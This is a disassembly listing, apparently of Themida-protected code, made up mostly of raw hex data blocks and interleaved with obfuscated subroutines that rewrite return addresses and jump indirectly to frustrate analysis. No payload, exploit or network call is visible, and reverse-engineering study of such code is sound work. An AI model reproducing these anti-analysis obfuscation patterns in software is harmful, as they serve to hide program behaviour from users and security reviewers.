		dd 4B39C357h, 0B58B7CCEh, 60B232Dh
		dd 6A00B0F9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 2681C352h, 0FEB16ABh, 89F38BE1h
		dd 0B17ED85h, 6A70E606h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3242C355h, 0C7814189h
		dd 5C4957E2h, 0F860F560h, 61615E57h, 9D8971E4h,	60B03CDh
		dd 6AD8B60Fh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 8AF4C355h, 0C1BD23F9h,	0BA060B31h
		dd 6, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h, 14h
		dd 0A7C35545h, 12ED8501h, 0C38B060Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 81C35141h, 28C6A55h, 0E14E9776h
		dd 4E8C167h, 10E9h, 29C1400h, 7FDA63E6h, 0D5D31AADh, 0A2E58885h
		dd 0E2F76617h, 0AE8h, 1F3FAB00h, 0C2218C9Fh, 8BFB09AEh
		dd 0B1741B5h, 0D82B5F06h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 71C35545h, 0F366F06Fh, 93FA8B66h, 0DE950h
		dd 82670000h, 0E6EFE05Dh, 0FC199376h, 93ABC20Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E9C35545h, 2B047E32h
		dd 0B5FFBABEh, 60B3385h, 32DD95FFh, 6A060Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89F987C3h
		dd 0B28019Dh, 0F00B006h, 38Ch, 0FA8B6600h, 0B50B70E6h
		dd 60B0151h, 0AE9h, 87A51F00h, 0A839F8BDh, 0E4C29CD4h
		dd 50006A71h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 4AA5783Bh, 0BD8B4989h, 60B01E9h,	0F51BD8Bh
		dd 613C060Bh, 1CC830Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0B4E723C3h, 0BDDEC6Eh
		dd 8BD8B60Fh, 6BAFAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 540FB8C3h, 50D0AE2Bh
		dd 8BFCABD3h, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8B988565h, 0B04B5B5h, 4E8C106h, 1D9B52Bh
		dd 0F766060Bh, 50006AE2h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 7AEF812Eh, 665F770Ch
		dd 76CCCF81h, 8589D82Bh, 60B2A71h, 56006A58h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E95150BEh
		dd 0B5BFE8C3h, 0B5F4503h, 0B12B5BDh, 0FD82B06h,	0E588h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 19A5D1D2h, 665B8A8Eh, 0B9D18FBFh, 7, 83F28B66h
		dd 816600C1h, 3B6510EFh, 0A7860FD9h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0B451C352h, 22B52220h, 0C78194F8h, 6988CA64h, 6AD98C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0FDE9C352h, 0F6F9BF0Fh, 840F04C1h, 4Ah, 0A7C0BE66h
		dd 18ED95FFh, 0F51060Bh, 5B5EFEBFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 38C35040h, 7E53F4E9h, 524C933Bh
		dd 343DC32Bh, 0F000008h, 986h, 0BE9F900h, 66000000h, 0C08BF38Bh
		dd 0C55BD8Bh, 0C38B060Bh, 6AD88Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 43360EC3h, 0E2DF819Eh
		dd 0C704EEF1h, 0B2A9D85h, 84A95306h, 14E956h, 2E6F0000h
		dd 0B0FD345Dh, 76A83BBDh, 8906D31Dh, 838A46DDh,	0C08B59EAh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 3CC35040h
		dd 0C1B58B8Ah, 81060B31h, 0B3385BDh, 7D006h, 10850F00h
		dd 0F8000000h, 338585FFh, 9D89060Bh, 60B1A55h, 0FFF9B70Fh
		dd 0B3385B5h, 0DD95FF06h, 6A060B32h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 37FFC353h
		dd 0FE1A8674h, 5678B890h, 0FE91234h, 48000000h,	0D8B71C58h
		dd 0CB026C4h, 713F3D56h, 9D8D2CF2h, 60EC499h, 0FFF915E9h
		dd 50006AFFh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0C378F94Eh, 1505BD8Bh, 0B70F060Bh, 0EBC18BF9h
		dd 4, 0D19D8900h, 6A060B21h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0F5DAC350h,	4AC40B2h
		dd 6A7FA131h, 0EE9h, 0AE13AB00h, 3F062128h, 178F5A80h
		dd 8D91F050h, 0B28A985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 5CCD6D93h, 1DB58BA2h
		dd 90060B21h, 0E920B160h, 13h, 1143DFCDh, 78206AD1h, 2604CB50h
		dd 61DAE570h, 615E6169h, 870F6050h, 5, 2FA90ABEh, 9BBA6621h
		dd 6690616Fh, 7BA9EE81h, 9D31006Ah, 60B06D5h, 6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0E83AC4C3h, 0C6B9858Dh, 6A060Eh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 6627A2C3h
		dd 7073EF81h, 14E8h, 0AC46D700h, 0A643BE92h, 88C2C37Bh
		dd 4AFD7648h, 40521771h, 65BF668Ch, 0C0835EFBh,	9E99005h
		dd 0FF000000h, 287DE6B4h, 0A39FDC26h, 90F88B50h, 29F59D09h
		dd 8509060Bh, 60B0C09h,	0B503006Ah, 60B2E59h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A49F87C3h, 830FF8h,	0FF000000h, 0B2F2195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 47D36C2Eh, 0B9BD0922h, 8D060B24h, 0EA7B09Dh,	9D9D8906h
		dd 0FF060B17h, 0B2E681D3h, 0FF233332h, 0B066D85h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0B22AA04Ah, 0D51D58EFh, 1DBE66AFh, 0DF1E94Ch, 0E80000h
		dd 5D000000h, 0C6C3ED81h, 6A060Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 5AC2D5C3h, 0BD8191C9h
		dd 60B3385h, 7D0h, 0AD860Fh, 0FB8B0000h, 8699D8Bh, 0B58B060Bh
		dd 60B2701h, 100E381h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 3AB217C3h, 0FDB0BD6h
		dd 5385h, 83F38B00h, 0EC4E9BDh,	840F0006h, 29h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 9589D584h
		dd 60B06BDh, 2BE9h, 0E985C700h,	1060EC4h, 81000000h, 4BA1BDEEh
		dd 16E93Ah, 0BD8B0000h,	60B0079h, 0C4E985C7h, 60Eh, 85010000h
		dd 60B1241h, 8699D8Dh, 0BF0F060Bh, 0FF2381F0h, 66FFFFFEh
		dd 0B70FDB8Ch, 4C3F6F2h, 52840Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 3E40FC3h
		dd 0B69B58Bh, 0FFF5060Bh, 0B18ED95h, 6860F06h, 8B000000h
		dd 0B31C9BDh, 0EE85006h, 0DB000000h, 9CD06AE1h,	4FBD1CFEh
		dd 1D11B79Bh, 0F98B6694h, 2404895Fh, 3FAE9h, 0F28B6600h
		dd 0B0F88B66h, 61958900h, 0E6060B0Fh, 56006A70h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 6671E48Ah, 0B60FFB8Bh, 0D9BE51D8h, 5F566E24h, 6BAh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 473ACD0Bh, 66C38BFCh, 2517C681h,	8904E8C1h
		dd 0B0D9595h, 0E2F76606h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 85C35343h, 3D82BC8h, 0B0F9DBDh, 0BE665006h
		dd 1C895CF5h, 0E1B58B24h, 0FF060B07h, 0B3385B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0C8302468h, 0E699DB41h, 0DD95FFC8h, 89060B32h, 0B165995h
		dd 6A00B006h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 62E3C356h, 1BD894Dh, 0E6060B20h
		dd 51006A70h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 0CE00DC01h, 79AF682Bh, 3880FBEh,	0F000000h
		dd 71E4FABFh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 15h,	0CC35545h, 3EFDBEE7h, 613C4ED7h, 29D830Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 2932A8C3h, 0B318585h, 0D8B60F06h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0A1C35646h,	61527ED8h, 6BAFC71h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 4F2C351h, 0CDBE742Fh, 8D89272Fh
		dd 60B20F5h, 9D89C38Bh,	60B27E1h, 3104E8C1h, 0B20C1BDh
		dd 0E2F76606h, 32B9BD8Bh, 9D31060Bh, 60B005Dh, 6AD82Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0E9DF73C3h, 60806051h, 762ABA66h, 1061B589h,	5861060Bh
		dd 5499D01h, 0D82B060Bh, 1C9880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 321751C3h
		dd 29FDBD89h, 7B9060Bh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1908C357h
		dd 0E84FEE4Bh, 13h, 0B738FEA0h,	49948C84h, 0F505D3CAh
		dd 878DE953h, 0BE143895h, 401A3CB7h, 0C1835Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4BC35040h, 9CFE1CD1h
		dd 0DD1B8BECh, 860FD93Bh, 133h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0AEC35545h,	6600EFAAh, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0C1F6C2C3h, 0C3840F04h, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0B82C350h
		dd 0FE97D10h, 0E000000h, 13852E07h, 6D3FC9C0h, 0C34A57C1h
		dd 95FF3C03h, 60B18EDh,	6B460F9h, 0E2D9D8Bh, 5B61060Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 33C35545h
		dd 5EE37C57h, 2E53E41Fh, 5810Fh, 49BE0000h, 0F2653B6h
		dd 884h, 8D895300h, 60B1169h, 6AC32B5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B64AC353h
		dd 89D5F1F6h, 0B011D95h, 8343D06h, 860F0000h, 0Eh, 0E9F7BF0Fh
		dd 2Fh,	0B39BD8Bh, 0C08B060Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 51C35343h, 0F7CAB5DAh, 0FD7E3D0Fh
		dd 8BF88B02h, 6AD88BC3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 9E37C357h, 0E9603A62h
		dd 13h,	32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h, 0F911B7Fh
		dd 689h, 21BD3300h, 61060B22h, 242185C7h, 9FB7060Bh, 895757F5h
		dd 0B290595h, 89605F06h, 0B28EDBDh, 0C08B6106h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 71C35646h, 1F980B4h
		dd 0B28A58Dh, 12E906h, 490A0000h, 0B5179A90h, 6390A885h
		dd 69BEF85Ch, 6FF06E70h, 3385BD81h, 7D0060Bh, 850F0000h
		dd 38h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 0C35040h, 7E228B95h,	6614FF74h, 85FFF18Bh, 60B3385h
		dd 0F4D8EE81h, 958926D6h, 60B2749h, 3385B5FFh, 6A060Bh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0E7BC93C3h, 45750647h, 2DB58B0Fh, 0FF060B13h, 0B32DD95h
		dd 0EC78106h, 900D7704h, 0C98D8940h, 81060B2Ah,	413AFD7h
		dd 6DBD8352h, 60B1Bh, 0CD840Fh,	0BE90000h, 0DC000000h
		dd 98A1E04Fh, 661CD9E6h, 0BD839067h, 60B1611h, 0B0840F00h
		dd 89000000h, 0B0B1D95h, 6D95FF06h, 0B060B1Bh, 9C840FC0h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0E21CC356h, 0D098D29h,	8D8D060Bh
		dd 60B4DD7h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	0BEC35545h, 54F75995h, 5B8h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0D3E94186h
		dd 0EA2512D2h, 69C7BF66h, 6AE1FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0D5191AC3h, 819589C3h
		dd 83060B06h, 0B0EE5BDh, 840F0006h, 67Ch, 1611BD83h, 0F00060Bh
		dd 66F84h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 536BE0B9h, 0D9958952h, 5F060B2Ah
		dd 9D9589h, 8D8D060Bh, 60B0245h, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0DBC35545h,	8401C7EBh, 6A44B27Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 5A6C350h,	0D6691C6Ah, 0FA881487h,	0CFCB0181h
		dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 64323FC3h, 9E8h, 93804E00h, 57B7B163h, 0B5897EF0h
		dd 60B0919h, 441C75Fh, 0CE706B34h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0CEC35242h,	99729561h, 8B66A0AFh
		dd 44181FEh, 31D6D710h,	9D89006Ah, 60B16B5h, 245858Dh
		dd 8509060Bh, 60B0AB9h,	12E851h, 0F7C10000h, 0C75CA0CCh
		dd 55A870D3h, 0A2DE9EFBh, 2F8365E2h, 1879B501h,	5E5E060Bh
		dd 0BCB66090h, 505B5660h, 5A310F52h, 50616158h,	310F5250h
		dd 0F249BE66h, 8990585Ah, 0B00C195h, 0E595FF06h, 6A060B0Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0C85FC357h, 604103F6h, 14E9h, 5B051100h
		dd 12E538ECh, 0D36FAA2Eh, 5214C158h, 72D56E0Fh,	2800FD9h
		dd 0B4000000h, 8D8D6138h, 60B0245h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 19C35747h, 0E850BB1Bh, 5, 0D425C6Dh
		dd 0DE941h, 1D310000h, 2DBE5474h, 168B59B1h, 5F11B58Bh
		dd 0C7FE8B5Eh, 1, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0C874119Ch, 8D895775h
		dd 60B0E9Dh, 0C7FFBF0Fh, 441h, 0CE90000h, 0D3000000h, 594E5F00h
		dd 0C224027Ah, 0B18DDD3h, 79840FC0h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 50F2C356h, 0BD8B575Fh, 60B20E1h, 0D78D8D5Fh,	6A060B4Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 154BC357h, 82CBA693h, 0B8A0F0D9h,	5, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 82C35040h, 0E1FF91C2h
		dd 155BBF66h, 2458D8Dh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 70009EC3h, 8F3B4A3Fh
		dd 661C0BEEh, 38E8DF81h, 6800F51h, 8B000000h, 0B2179BDh
		dd 1C75E06h, 44AA727Ch,	0DADBD03h, 181060Bh, 1499CFCBh
		dd 0AAA9BE66h, 3C0441C7h, 81CE7875h, 2D2BADEh, 25B58B71h
		dd 81060B04h, 0D7100441h, 6A31D6h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 6A4EAEC3h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D500A5Ah, 52F9BF0Fh, 18D19D89h, 8D5F060Bh, 0B024585h
		dd 31B58B06h, 90060B2Ah, 12E850h, 45C40000h, 0DA5571F8h
		dd 57DB0771h, 6066CF34h, 0EDB9244Fh, 0EE32D3BEh, 6A905F15h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 2DC2C351h, 5CCE6B4Dh, 896F24F5h, 0B0BA195h
		dd 1681BE06h, 95FF1B56h, 60B0EE5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 52C35141h, 0F8F2656Bh, 23619444h
		dd 8E9h, 3250500h, 0D975C2BEh, 458D8DC1h, 0BE060B02h, 54BAC0Bh
		dd 1BB99D89h, 1C7060Bh,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5792CF
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5792CF	proc near		; CODE XREF: Themida_:005792C7p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5792CF	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 0CF7BE250h, 0D7522CC7h, 9E9F3h, 33980000h, 74A0B4D1h
		dd 0C7443BC9h, 441h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0D52A95C3h, 7BE5B396h
		dd 0BD8BFCD8h, 60B1169h, 0E79B58Bh, 0C00B060Bh,	71840Fh
		dd 0BF660000h, 81660EB2h, 8D349EF6h, 0B4DD78Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0D0EC93DBh, 0B6C6106Eh, 816694DAh, 606837DEh, 3D23BF66h
		dd 9519589h, 0B861060Bh, 5, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0E3C35545h, 3F3EA3Dh,	0B2029BDh, 8DE1FF06h
		dd 0B02458Dh, 68C0F06h,	89000000h, 0B00A58Dh, 0A501C706h
		dd 6654CA95h, 181F08Bh,	1499CFCBh, 0B850Fh, 6E90000h, 76000000h
		dd 0AD9A86F4h, 89B58B07h, 0C7060B0Eh, 59690441h, 0B529CE5Fh
		dd 60B2EE1h, 10044181h,	6A31D6D7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E544C353h
		dd 5CF0E5A6h, 6AF581F7h, 8F0F00h, 8D000000h, 0B024585h
		dd 99BD8B06h, 0E9060B0Fh, 11h, 0D3CA4994h, 0E953F505h
		dd 3895878Dh, 2F3FFB14h, 4895079h, 0F9B70F24h, 0EE595FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 9AE530C3h, 977946CAh, 891507DBh, 0B02098Dh
		dd 3ACE8106h, 8D48B8D1h, 0B02458Dh, 89C78106h, 0C73ACB6Ah
		dd 1, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0F87AEFC4h, 109B9ABCh, 9529F960h
		dd 60B12CDh, 441C761h, 0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+60B01CDh]
		movsx	edi, cx
		or	eax, eax
		jz	loc_579540
		mov	esi, edx
		lea	ecx, [ebp+60B4DD7h]
		sub	[ebp+60B022Dh],	esi
		mov	eax, 5
		sub	esi, [ebp+60B19B9h]
		mov	esi, 33F58813h
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_579500
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579500	proc near		; CODE XREF: Themida_:005794F8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_579500	endp

; ---------------------------------------------------------------------------
		dd 0AE8F7h, 0C6E70000h,	73C3FA63h, 4FC9308Bh, 14E9h, 34913A00h
		dd 0E7A637D1h, 0AD866181h, 78A1C07Bh, 0FBF786DBh, 9D895EF0h
		dd 60B1369h
; ---------------------------------------------------------------------------


loc_579540:				; CODE XREF: Themida_:005794CFj
		add	ecx, edx
		jmp	near ptr dword_5780C4+69Eh
; ---------------------------------------------------------------------------
		mov	[ebp+60B17C5h],	eax
		sub	esi, 7A2212EBh
		mov	eax, ecx
		push	0
		push	ebx
		call	sub_579560
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_579560	proc near		; CODE XREF: Themida_:00579558p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_579560	endp

; ---------------------------------------------------------------------------
		test	esp, edx
		js	loc_57957E
		mov	[ebp+60B1F9Dh],	edi


loc_57957E:				; CODE XREF: Themida_:00579572j
		jmp	short loc_579584
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------


loc_579584:				; CODE XREF: Themida_:loc_57957Ej
		push	0
		push	esi
		call	sub_57958F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57958F	proc near		; CODE XREF: Themida_:00579587p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_57958F	endp

; ---------------------------------------------------------------------------
		db 67h
		dd 799AEA8Ah, 0F92DB6B3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 0D5C35747h, 741AB4C3h, 3FACA97Bh, 0AE956h
		dd 8FFF0000h, 74FD90E2h, 613F2D74h, 28A9858Dh, 9E9060Bh
		dd 8C000000h, 6B08D4F4h, 0A41BC4FBh, 830F90h, 50000000h
		dd 5E9h, 2C82E400h, 6A909CFFh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 4339C353h, 0E807F84Bh
		dd 0FE8h, 0DD251700h, 0E12A390Ah, 2363E52Bh, 4B3686E8h
		dd 0DD68166h, 6A5E54h, 3155B58Bh, 6A060Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0C6C35747h, 29C68133h
		dd 8D07C58Ch, 0ED6FF85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FFF5C78h, 0BD89F0B7h
		dd 60B1F65h, 21511EBEh,	5C08324h, 2A19D89h, 0E850060Bh
		dd 0Bh,	5B1DAE6Eh, 0ED597BC4h, 66903A1Ch, 5E8A7BBEh, 6A240489h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 51DF6B3Ch, 7F7AD49Eh, 25B5890Dh,	6A060B2Bh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8B0C2F4Ch, 0B0B6DB5h, 219CBE06h,	95FF1C4Ch
		dd 60B2F21h, 0C11F06BEh, 0B09D8D76h, 6A060EA7h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6639C356h, 7955CE81h, 6AD3FFh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 85FF43C3h, 60B066Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0A7C35747h
		dd 14E94F02h, 90000000h, 4B567200h, 0EDE4E18Dh,	431E84B9h
		dd 0C7080046h, 0E9DD8D0Fh, 0A48h, 0E8h,	0ED815D00h, 60ED709h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 18C35545h
		dd 0E7053599h, 0BD81E276h, 60B3385h, 7D0h, 13D860Fh, 95290000h
		dd 60B28E5h, 1A9D9D8Bh,	6A060Bh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 8D46E6C3h, 70D8532Eh
		dd 8B81CA67h, 0E381F0h,	66000001h, 0B2831BEh, 0B5850FDBh
		dd 8B000000h, 0B240DB5h, 0DCBD8306h, 60ED4h, 53840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 87B9AEC3h, 0ABE9F701h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 291C352h
		dd 7665A709h, 0BDBD2990h, 29060B16h, 0B05AD9Dh,	0DC85C706h
		dd 1060ED4h, 0E9000000h, 6Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0FFC35545h,	0C283321h, 0E8813C2Eh
		dd 14E95164h, 0D9000000h, 135B02FBh, 82B24F5Eh,	1755CCFAh
		dd 0ED2EBF16h, 5EB3012Bh, 0D4DC85C7h, 60Eh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 9058CCC3h, 0A48FBEF3h, 9D8D5441h, 60B1A9Dh, 0BCE68166h
		dd 0FF23815Fh, 66FFFFFEh, 6637EEBEh, 6ADB8Ch, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 39173EC3h
		dd 606223FDh, 1FFD9D01h, 0BF66060Bh, 66616DE9h,	0AB36DE81h
		dd 0F04C3F6h, 9084h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0B92D3A9h, 0F38B6680h
		dd 0FFF6B70Fh, 0B18ED95h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 8CF5D4DFh
		dd 958F48B7h, 11BD89F0h, 60060B05h, 31F99D89h, 9061060Bh
		dd 50F08B66h, 5E9h, 74B40500h, 6A9049EDh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0A43FC356h
		dd 0FD62118h, 411E922h,	0BF0F0000h, 6A00B0F1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 97DAC352h, 89F2BF0Fh, 0B31D1B5h, 0CCBE6606h,	6A70E6E5h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 5E99C356h, 0D7B95EF5h, 0BE66B300h, 71E448C9h
		dd 6AD8B60Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0E91BC357h, 13h, 833E133Bh, 0A72742BEh
		dd 387302A3h, 0F2656B52h, 0BA9444F8h, 6, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 81C35141h, 0D1122646h
		dd 0A1DCF065h, 851BD31h, 8BF8060Bh, 53006AC3h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0A5F4AB8Ch
		dd 0B577474Eh, 8E85C65h, 4D000000h, 676EF121h, 0FE39028h
		dd 8B5EF3BFh, 0B1F35B5h, 4E8C106h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 2DC35343h, 8B605D9Bh, 0B31D195h
		dd 6830F06h, 8B000000h,	0B14E5BDh, 0F7666106h, 56006AE2h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
